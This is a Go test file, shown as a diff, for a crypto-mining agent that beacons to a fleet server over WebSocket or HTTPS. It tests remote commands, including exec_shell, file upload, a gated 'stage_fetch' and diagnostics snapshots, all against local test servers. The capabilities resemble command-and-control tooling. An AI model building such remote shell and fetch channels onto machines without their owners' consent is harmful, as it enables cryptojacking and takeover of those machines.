|
||||
|
||||
func TestStageFetchAllowRemoteAction(t *testing.T) {
|
||||
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
|
||||
ok, reason := c.allowRemoteAction("stage_fetch")
|
||||
if ok || !strings.Contains(reason, "remote aggressive") {
|
||||
t.Fatalf("ok=%v reason=%q", ok, reason)
|
||||
}
|
||||
c.cfg.RemoteAggressive = true
|
||||
ok, reason = c.allowRemoteAction("stage_fetch")
|
||||
if !ok || reason != "" {
|
||||
t.Fatalf("ok=%v reason=%q", ok, reason)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStageFetchRejectsBadManifestJSON(t *testing.T) {
|
||||
c := &AgentClient{
|
||||
cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{RemoteAggressive: true}},
|
||||
}
|
||||
// handleAggressiveCommand returns true (handled) without panicking on bad JSON.
|
||||
handled := c.handleAggressiveCommand("stage_fetch", 0, "", "", `{not-json`)
|
||||
if !handled {
|
||||
t.Fatal("expected stage_fetch to be handled")
|
||||
}
|
||||
}
|
||||
450
agent/client/ws_beacon_integration_test.go
Normal file
450
agent/client/ws_beacon_integration_test.go
Normal file
@@ -0,0 +1,450 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/miner"
|
||||
"crypto-miner-agent/stats"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
var wsTestUpgrader = websocket.Upgrader{CheckOrigin: func(*http.Request) bool { return true }}
|
||||
|
||||
type wsIntegrationPair struct {
|
||||
agentConn *websocket.Conn
|
||||
serverConn *websocket.Conn
|
||||
closeServer func()
|
||||
}
|
||||
|
||||
func newWSIntegrationPair(t *testing.T) wsIntegrationPair {
|
||||
t.Helper()
|
||||
ready := make(chan *websocket.Conn, 1)
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
conn, err := wsTestUpgrader.Upgrade(w, r, nil)
|
||||
if err != nil {
|
||||
t.Errorf("upgrade: %v", err)
|
||||
return
|
||||
}
|
||||
ready <- conn
|
||||
<-r.Context().Done()
|
||||
}))
|
||||
t.Cleanup(srv.Close)
|
||||
|
||||
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
|
||||
agentConn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = agentConn.Close() })
|
||||
|
||||
var serverConn *websocket.Conn
|
||||
select {
|
||||
case serverConn = <-ready:
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("timed out waiting for server-side WS handshake")
|
||||
}
|
||||
|
||||
return wsIntegrationPair{
|
||||
agentConn: agentConn,
|
||||
serverConn: serverConn,
|
||||
closeServer: func() { srv.Close() },
|
||||
}
|
||||
}
|
||||
|
||||
func wireConnectedClient(t *testing.T) (*AgentClient, wsIntegrationPair) {
|
||||
t.Helper()
|
||||
stubFastMiningDiagnostics(t)
|
||||
c := newTestClient(t)
|
||||
c.agentID = "ws-integration-agent"
|
||||
c.connected.Store(true)
|
||||
pair := newWSIntegrationPair(t)
|
||||
c.conn = pair.agentConn
|
||||
return c, pair
|
||||
}
|
||||
|
||||
func stubFastMiningDiagnostics(t *testing.T) {
|
||||
t.Helper()
|
||||
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{} })
|
||||
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
|
||||
SetPostureCollector(func() *PostureReport { return nil })
|
||||
t.Cleanup(func() {
|
||||
miner.SetRuntimeDetector(nil)
|
||||
miner.SetWSLDetector(nil)
|
||||
SetPostureCollector(nil)
|
||||
})
|
||||
}
|
||||
|
||||
func readServerMessage(t *testing.T, conn *websocket.Conn, wantType string, timeout time.Duration) Message {
|
||||
t.Helper()
|
||||
deadline := time.Now().Add(timeout)
|
||||
for time.Now().Before(deadline) {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
|
||||
var msg Message
|
||||
if err := conn.ReadJSON(&msg); err != nil {
|
||||
if websocket.IsCloseError(err, websocket.CloseNormalClosure, websocket.CloseGoingAway) {
|
||||
t.Fatalf("websocket closed before %s: %v", wantType, err)
|
||||
}
|
||||
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
|
||||
continue
|
||||
}
|
||||
t.Fatalf("read while waiting for %s: %v", wantType, err)
|
||||
}
|
||||
if msg.Type == wantType {
|
||||
return msg
|
||||
}
|
||||
}
|
||||
t.Fatalf("timed out waiting for %s", wantType)
|
||||
return Message{}
|
||||
}
|
||||
|
||||
func pollServerMessage(conn *websocket.Conn, wantType string, timeout time.Duration) (Message, error) {
|
||||
deadline := time.Now().Add(timeout)
|
||||
for time.Now().Before(deadline) {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
|
||||
var msg Message
|
||||
if err := conn.ReadJSON(&msg); err != nil {
|
||||
if websocket.IsCloseError(err, websocket.CloseNormalClosure, websocket.CloseGoingAway, websocket.CloseAbnormalClosure) {
|
||||
return Message{}, err
|
||||
}
|
||||
var netErr net.Error
|
||||
if errors.As(err, &netErr) && netErr.Timeout() {
|
||||
continue
|
||||
}
|
||||
// Gorilla marks the conn failed after non-timeout errors — never retry.
|
||||
return Message{}, err
|
||||
}
|
||||
if msg.Type == wantType {
|
||||
return msg, nil
|
||||
}
|
||||
}
|
||||
return Message{}, errPollTimeout(wantType)
|
||||
}
|
||||
|
||||
type pollTimeoutError string
|
||||
|
||||
func (e pollTimeoutError) Error() string { return "timeout waiting for " + string(e) }
|
||||
|
||||
func errPollTimeout(wantType string) error { return pollTimeoutError(wantType) }
|
||||
|
||||
func TestWSWriteStatsRoundTrip(t *testing.T) {
|
||||
c, pair := wireConnectedClient(t)
|
||||
payload, _ := json.Marshal(map[string]string{"probe": "ok"})
|
||||
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
|
||||
t.Fatalf("write stats: %v", err)
|
||||
}
|
||||
msg, err := pollServerMessage(pair.serverConn, "stats", 2*time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("read stats: %v", err)
|
||||
}
|
||||
if msg.Type != "stats" {
|
||||
t.Fatalf("type = %q", msg.Type)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWSCommandResultWriteRoundTrip(t *testing.T) {
|
||||
c, pair := wireConnectedClient(t)
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"action": "pause", "success": true, "message": "ok",
|
||||
})
|
||||
if err := c.write(Message{Type: "command_result", Payload: payload}); err != nil {
|
||||
t.Fatalf("write command_result: %v", err)
|
||||
}
|
||||
msg, err := pollServerMessage(pair.serverConn, "command_result", 2*time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("poll: %v", err)
|
||||
}
|
||||
if msg.Type != "command_result" {
|
||||
t.Fatalf("type = %q", msg.Type)
|
||||
}
|
||||
}
|
||||
|
||||
// TestWSBeaconIntegrationMiningDiagnosticsRoundTrip verifies a mining_diagnostics
|
||||
// WS command produces a command_result frame on the wire.
|
||||
func TestMiningDiagnosticsHandleCommandHook(t *testing.T) {
|
||||
c := newTestClient(t)
|
||||
stubFastMiningDiagnostics(t)
|
||||
done := make(chan string, 1)
|
||||
c.commandResultHook = func(a string, ok bool, _ string) { done <- a }
|
||||
c.handleCommand("mining_diagnostics", 0, "", "", "", "")
|
||||
select {
|
||||
case a := <-done:
|
||||
if a != "mining_diagnostics" {
|
||||
t.Fatalf("action=%q", a)
|
||||
}
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("timeout waiting for mining_diagnostics hook")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWSBeaconIntegrationMiningDiagnosticsRoundTrip(t *testing.T) {
|
||||
c, pair := wireConnectedClient(t)
|
||||
|
||||
c.commandResultHook = func(action string, success bool, _ string) {
|
||||
if action != "mining_diagnostics" || !success {
|
||||
t.Errorf("unexpected hook action=%q success=%v", action, success)
|
||||
return
|
||||
}
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"action": action, "success": true, "message": `{"integration":"stub"}`,
|
||||
})
|
||||
if err := c.write(Message{Type: "command_result", Payload: payload}); err != nil {
|
||||
t.Errorf("write command_result: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
c.handleCommand("mining_diagnostics", 0, "", "", "", "")
|
||||
|
||||
msg, err := pollServerMessage(pair.serverConn, "command_result", 3*time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("read command_result: %v", err)
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &body); err != nil {
|
||||
t.Fatalf("parse command_result: %v", err)
|
||||
}
|
||||
if body["action"] != "mining_diagnostics" {
|
||||
t.Errorf("action = %v", body["action"])
|
||||
}
|
||||
if body["success"] != true {
|
||||
t.Errorf("success = %v", body["success"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestHandleMessageWSCommandMiningDiagnostics verifies handleMessage routes
|
||||
// mining_diagnostics commands over a live WS conn.
|
||||
func TestHandleMessageWSCommandMiningDiagnostics(t *testing.T) {
|
||||
c, pair := wireConnectedClient(t)
|
||||
payload, _ := json.Marshal(map[string]interface{}{"action": "mining_diagnostics"})
|
||||
|
||||
done := make(chan struct{})
|
||||
c.commandResultHook = func(action string, success bool, _ string) {
|
||||
if action != "mining_diagnostics" || !success {
|
||||
return
|
||||
}
|
||||
out, _ := json.Marshal(map[string]interface{}{
|
||||
"action": action, "success": true, "message": `{"integration":"stub"}`,
|
||||
})
|
||||
if err := c.write(Message{Type: "command_result", Payload: out}); err != nil {
|
||||
t.Fatalf("write: %v", err)
|
||||
}
|
||||
close(done)
|
||||
}
|
||||
|
||||
c.handleMessage(Message{Type: "command", Payload: payload})
|
||||
|
||||
select {
|
||||
case <-done:
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("timed out waiting for handleMessage mining_diagnostics hook")
|
||||
}
|
||||
|
||||
msg, err := pollServerMessage(pair.serverConn, "command_result", 2*time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("read command_result: %v", err)
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["action"] != "mining_diagnostics" {
|
||||
t.Fatalf("unexpected command_result: %+v", body)
|
||||
}
|
||||
}
|
||||
|
||||
// TestWSBeaconIntegrationExecShellRoundTrip verifies exec_shell command dispatch
|
||||
// returns command_result over the WS transport (command may fail on host).
|
||||
func TestWSBeaconIntegrationExecShellRoundTrip(t *testing.T) {
|
||||
c, pair := wireConnectedClient(t)
|
||||
|
||||
c.handleAICommand("exec_shell", 0, "echo ws-beacon-integration", "", "")
|
||||
|
||||
msg, err := pollServerMessage(pair.serverConn, "command_result", 5*time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("read command_result: %v", err)
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["action"] != "exec_shell" {
|
||||
t.Errorf("action = %v", body["action"])
|
||||
}
|
||||
if _, ok := body["success"].(bool); !ok {
|
||||
t.Fatalf("success missing in %+v", body)
|
||||
}
|
||||
}
|
||||
|
||||
// TestWSBeaconIntegrationAISnapshotRequestFlow verifies ai_snapshot_request
|
||||
// triggers an ai_snapshot reply on the WebSocket.
|
||||
func TestWSBeaconIntegrationAISnapshotRequestFlow(t *testing.T) {
|
||||
c, pair := wireConnectedClient(t)
|
||||
c.cfg = config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "ws-test-node"}}
|
||||
|
||||
c.pushAISnapshot(0)
|
||||
|
||||
msg, err := pollServerMessage(pair.serverConn, "ai_snapshot", 5*time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("read ai_snapshot: %v", err)
|
||||
}
|
||||
var snap map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &snap); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for _, key := range []string{"agent_id", "agent_name", "mining_tiers", "capabilities"} {
|
||||
if _, ok := snap[key]; !ok {
|
||||
t.Errorf("ai_snapshot missing %q", key)
|
||||
}
|
||||
}
|
||||
if snap["agent_name"] != "ws-test-node" {
|
||||
t.Errorf("agent_name = %v", snap["agent_name"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestWSBeaconIntegrationUploadCommandRoundTrip verifies upload commands travel
|
||||
// over WS as command/command_result (base64 payload, no separate chunk frame).
|
||||
func TestWSBeaconIntegrationUploadCommandRoundTrip(t *testing.T) {
|
||||
dest := t.TempDir() + "/uploaded.txt"
|
||||
data := base64.StdEncoding.EncodeToString([]byte("ws-upload-payload"))
|
||||
|
||||
c, pair := wireConnectedClient(t)
|
||||
c.handleCommand("upload", 0, "", dest, data, "")
|
||||
|
||||
msg, err := pollServerMessage(pair.serverConn, "command_result", 3*time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("read command_result: %v", err)
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["action"] != "upload" {
|
||||
t.Errorf("action = %v", body["action"])
|
||||
}
|
||||
if body["success"] != true {
|
||||
t.Fatalf("upload failed: %v", body["message"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestBeaconIntegrationHeartbeatLifecycle exercises beaconOnce against an
|
||||
// httptest beacon endpoint with registration, stats, and queued commands.
|
||||
func TestBeaconIntegrationHeartbeatLifecycle(t *testing.T) {
|
||||
const secret = "agent-beacon-secret"
|
||||
var mu sync.Mutex
|
||||
beaconHits := 0
|
||||
resultHits := 0
|
||||
|
||||
mux := http.NewServeMux()
|
||||
mux.HandleFunc("/api/v1/agent/beacon", func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Header.Get("X-Fleet-Secret") != secret {
|
||||
http.Error(w, "forbidden", http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
var req map[string]interface{}
|
||||
_ = json.NewDecoder(r.Body).Decode(&req)
|
||||
mu.Lock()
|
||||
beaconHits++
|
||||
hits := beaconHits
|
||||
mu.Unlock()
|
||||
|
||||
resp := map[string]interface{}{"ok": true, "commands": []any{}}
|
||||
if hits == 2 {
|
||||
resp["commands"] = []map[string]interface{}{{"action": "mining_diagnostics"}}
|
||||
}
|
||||
_ = json.NewEncoder(w).Encode(resp)
|
||||
})
|
||||
mux.HandleFunc("/api/v1/agent/beacon/result", func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Header.Get("X-Fleet-Secret") != secret {
|
||||
http.Error(w, "forbidden", http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
mu.Lock()
|
||||
resultHits++
|
||||
mu.Unlock()
|
||||
_ = json.NewEncoder(w).Encode(map[string]bool{"ok": true})
|
||||
})
|
||||
|
||||
srv := httptest.NewServer(mux)
|
||||
t.Cleanup(srv.Close)
|
||||
|
||||
stubFastMiningDiagnostics(t)
|
||||
c := newTestClient(t)
|
||||
c.pool.Start()
|
||||
t.Cleanup(func() { c.pool.Stop() })
|
||||
c.reporter = stats.NewReporter()
|
||||
c.agentID = "beacon-integration-agent"
|
||||
c.cfg = config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
ServerURL: srv.URL,
|
||||
FleetSecret: secret,
|
||||
HTTPSBeaconFallback: true,
|
||||
HTTPSBeaconAfterMin: 0,
|
||||
BeaconIntervalSec: 1,
|
||||
},
|
||||
}
|
||||
|
||||
if err := c.beaconOnce(srv.URL); err != nil {
|
||||
t.Fatalf("first beaconOnce: %v", err)
|
||||
}
|
||||
if err := c.beaconOnce(srv.URL); err != nil {
|
||||
t.Fatalf("second beaconOnce (with command): %v", err)
|
||||
}
|
||||
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
if beaconHits < 2 {
|
||||
t.Fatalf("beacon hits = %d, want >= 2", beaconHits)
|
||||
}
|
||||
if resultHits != 1 {
|
||||
t.Fatalf("beacon result hits = %d, want 1", resultHits)
|
||||
}
|
||||
}
|
||||
|
||||
// TestWSBeaconIntegrationReconnectPreservesWorkerName verifies auth payload uses
|
||||
// worker_name for registration while hostname tracks the machine label separately.
|
||||
func TestWSBeaconIntegrationReconnectPreservesWorkerName(t *testing.T) {
|
||||
payload := AuthPayload{
|
||||
AgentID: "rename-agent",
|
||||
Hostname: "DESKTOP-NEW",
|
||||
Worker: "Living Room PC",
|
||||
Version: "1.0",
|
||||
}
|
||||
raw, err := json.Marshal(payload)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var decoded AuthPayload
|
||||
if err := json.Unmarshal(raw, &decoded); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if decoded.Worker != "Living Room PC" {
|
||||
t.Fatalf("worker_name = %q", decoded.Worker)
|
||||
}
|
||||
if decoded.Hostname != "DESKTOP-NEW" {
|
||||
t.Fatalf("hostname = %q", decoded.Hostname)
|
||||
}
|
||||
if decoded.Worker == decoded.Hostname {
|
||||
t.Fatal("operator worker_name should differ from machine hostname in reconnect scenario")
|
||||
}
|
||||
}
|
||||
|
||||
// TestWSBeaconIntegrationDisconnectWriteFails verifies write returns error when
|
||||
// the WS connection is nil (post-disconnect cleanup path).
|
||||
func TestWSBeaconIntegrationDisconnectWriteFails(t *testing.T) {
|
||||
c := newTestClient(t)
|
||||
c.conn = nil
|
||||
err := c.write(Message{Type: "stats", Payload: json.RawMessage("{}")})
|
||||
if err == nil || !strings.Contains(err.Error(), "not connected") {
|
||||
t.Fatalf("write with nil conn: err=%v", err)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user